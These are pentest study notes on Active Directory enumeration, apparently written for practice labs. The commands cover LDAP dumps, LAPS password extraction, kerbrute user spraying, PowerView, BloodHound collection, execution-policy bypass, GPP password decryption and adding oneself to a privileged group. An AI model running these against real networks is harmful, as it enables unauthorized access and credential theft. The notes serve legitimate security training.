Enumerating AD

Page not found - HackTricksbook.hacktricks.xyz

LDAP (389, 636, 3268, 3269)

# Scan for LDAP service & version
nmap -n -sV --script "ldap*" hutch.offsec

# Extract sAMAccountName and save to users.txt
ldapsearch -x -H ldap://target -D '' -w '' -b "DC=,DC=" | grep
sAMAccountName: | awk -F: '{print $2}' | tr -d " " > users.txt

# Find LDAP entries with a description
ldapsearch -x -H ldap://target -D '' -w '' -b "DC=,DC=" | grep description:

# All users, or computer
ldapsearch -x -H ldap://target -D "CN=web_svc,CN=Users,DC=dc,DC=dc" -w Password1 -b "DC=dc,DC=dc"
"(objectClass=user)"

ldapsearch -h IP -x -b "DC=,DC=" -s sub "(&(objectclass=user))" | grep sAMAccountName: | cut -f2 -d" "

# Dump all LDAP entries using creds
ldapsearch -x -H ldap://target -D 'hutch\fmcsorley' -w 'CrabSharkJellyfish192' -b
"DC=hutch,DC=offsec"

# Extract ms-MCS-AdmPwd (admin password)
ldapsearch -x -H ldap://target -D 'hutch\fmcsorley' -w 'CrabSharkJellyfish192' -b
"DC=hutch,DC=offsec" "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd

# winldapsearch
windapsearch --dc-ip IP -u "" -U

# nxc
nxc ldap IP -u user -p pass

Enumerate Users

cat users.txt | awk -F: '{print $4}' | tr -d " " | sed 's/^resourced\\//'
V.Ventz
K.Keen
L.Livingstone

# https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64
chmod +x kerbrute_linux_amd64
mv kerbrute_linux_amd64 /usr/local/bin/kerbrute
kerbrute --help

# Spray
kerbrute userenum -d resourced.local --dc 192.168.209.175 /usr/share/wordlists/SecLists/Usernames/xato-net-10-million-usernames.txt

kerbrute userenum -d resourced.local --dc 192.168.209.175 -t 10 -v users.txt
2024/11/26 10:40:30 > [!] [email protected] - USER LOCKED OUT
2024/11/26 10:40:30 > [+] VALID USERNAME: [email protected]
2024/11/26 10:40:35 > [+] VALID USERNAME: [email protected]

# RDP
xfreerdp /v:IP /u:user /p:pass /d:<domain.com> /w:1400 /h:900

# Users in the domain
net user /domain
net user alex /domain

# Groups in the domain
net group /domain

# Group members
net group "Sales Department" /domain

net config workstation
Get-LocalUser
Get-LocalGroup
Get-LocalGroupMember administrators
net localgroup Administrators

# Info on the DC
Get-NetDomainController

# File server used by the current domain
Get-NetFileServer -Verbose

# PowerView commands
https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993

Users and Groups

About - PowerSploitpowersploit.readthedocs.io

# To use it, bypass execution policy and import to memory
powershell -ep bypass
Import-Module .\PowerView.ps1
. .\PowerView.ps1

# Basic info about the domain
Get-NetDomain

# Query all users in the domain
Get-NetUser | select cn
Get-NetUser | select description
Get-NetUser | select cn,pwdlastset,lastlogon,whencreated

# Enumerate groups
Get-NetGroup | select cn

# Enumerate a specific group
Get-NetGroup "Sales Department" | select member
Get-NetGroup 'Domain Admins'

# Manually search for group membership via the memberof property
Get-NetUser | Where-Object { $_.memberof -like "*Domain Admins*" } | select cn, samaccountname, whenCreated

# Info on the user fred
Get-NetUser -Name "fred" | Format-List *

# Check lockout threshold - failed attempts before account lock
net accounts

# Extract all accounts in the SPN
setspn -T medin -Q "*/*"

# Password Policy
net accounts
rpcclient -U "" -N IP # getdompwinfo, querydominfo
ldapsearch -h IP -x -b "DC=,DC=" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength
enum4linux

OS

# Computer objects in the domain
Get-NetComputer
Get-NetComputer | Select-Object Name, DnsHostName

# Use early to know the environment
Get-NetComputer | select operatingsystem,dnshostname
Get-NetComputer | select dnshostname,operatingsystem,operatingsystemversion
Get-NetGPO | select displayname, whenchanged

# Info about a specific computer
Get-NetComputer -Name "web04"

Users and Perms

# Scan the domain to find local admin privs for my user
Find-LocalAdminAccess

# Run against machines where you might have admin access
Get-NetSession -ComputerName client74

# Find logged on users on machines
Get-NetSession -ComputerName files04 -Verbose

# View your permissions
Get-Acl -Path HKLM:SYSTEM\CurrentControlSet\Services\LanmanServer\DefaultSecurity\ | fl
.\PsLoggedon.exe \\client74

# Check groups
Get-NetLocalGroup -ComputerName "web04"

# List administrators on the machine
Get-NetLocalGroupMember -Group "Administrators" -ComputerName "web04"

Ping or nslookup to get the IP, then RDP into the new target where I have admin rights.
xfreerdp /v:IP /d:domain.com /u:user /p:pass /w:1400 /h:900

SPNs

Service Accounts, may also be members of high priv groups.

# Listing SPNs linked to a certain user account
setspn -L iis_service

# Listing SPN accounts in the domain with PowerView
Get-NetUser -SPN | select samaccountname,serviceprincipalname

# Resolving
nslookup.exe web04.corp.com

Object Permissions

# Interesting AD permission types
GenericAll: Full permissions on object
GenericWrite: Edit certain attributes on the object
WriteOwner: Change ownership of the object
WriteDACL: Edit ACE's applied to object
AllExtendedRights: Change password, reset password, etc.
ForceChangePassword: Password change for object
Self (Self-Membership): Add ourselves to for example a group

# Enumerate my own user to determine which ACEs are applied with PowerView
Get-ObjectAcl -Identity stephanie

# Convert the ObjectSID or SecurityIdentifier into name
Convert-SidToName S-1-5-21-1987370270-658905905-1781884369-1104

# Enumerating ACLs for the Management Group
Get-ObjectAcl -Identity "Management Department" | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | select SecurityIdentifier,ActiveDirectoryRights

# Then convert all SIDs with GenericAll permission
"S-1-5-21-1987370270-658905905-1781884369-512","S-1-5-21-1987370270-658905905-1781884369-1104","S-1-5-32-548","S-1-5-18","S-1-5-21-1987370270-658905905-1781884369-519" | Convert-SidToName

# If you have a high privileged user, you can add yourself to a group
net group "Management Department" stephanie /add /domain

Verify: Get-NetGroup "Management Department" | select member

Domain Shares

Shares often contain info about the environment

# Display shares
Find-DomainShare

# Display shares only available to you
Find-DomainShare -CheckShareAccess

# Identify files on the domain
Invoke-FileFinder

# Tickle the domain share, can tab
ls \\dc1.corp.com\sysvol\corp.com\

# Decrypting Group Policy Preferences (GPP).
gpp-decrypt "+bsY0V3d4/KgX3VJdO/vyepPfAN1zMFTiQDApgR92JE"

Bloodhound

GitHub - 61106960/adPEAS: Powershell tool to automate Active Directory enumeration.GitHub

# Install Legacy Bloodhound
# https://github.com/SpecterOps/BloodHound-Legacy
./BloodHound --no-sandbox --disable-gpu 
apt install neo4j

# Collect
nxc ldap 10.10.194.140 -u user -p pass --bloodhound --collection All --dns-server 10.10.194.140
python3 bloodhound.py -ns 192.168.1.10 -d corp.local -dc 192.168.1.5 -u john -p 'pass'


# Transfer / Paste
https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.ps1

# Bypass the execution policy
powershell -ep bypass

# Call the program
. .\SharpHound.ps1
Get-Help Invoke-BloodHound

# Collect
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Users\stephanie\Desktop\ -OutputPrefix "Audit"

# Start neo4j and bloodhound

# Analysis
Find all domain admins
Shortest way to domain admin
Mark user as owned
Click lines for info, etc.

# Clear the database
MATCH (n)
DETACH DELETE n;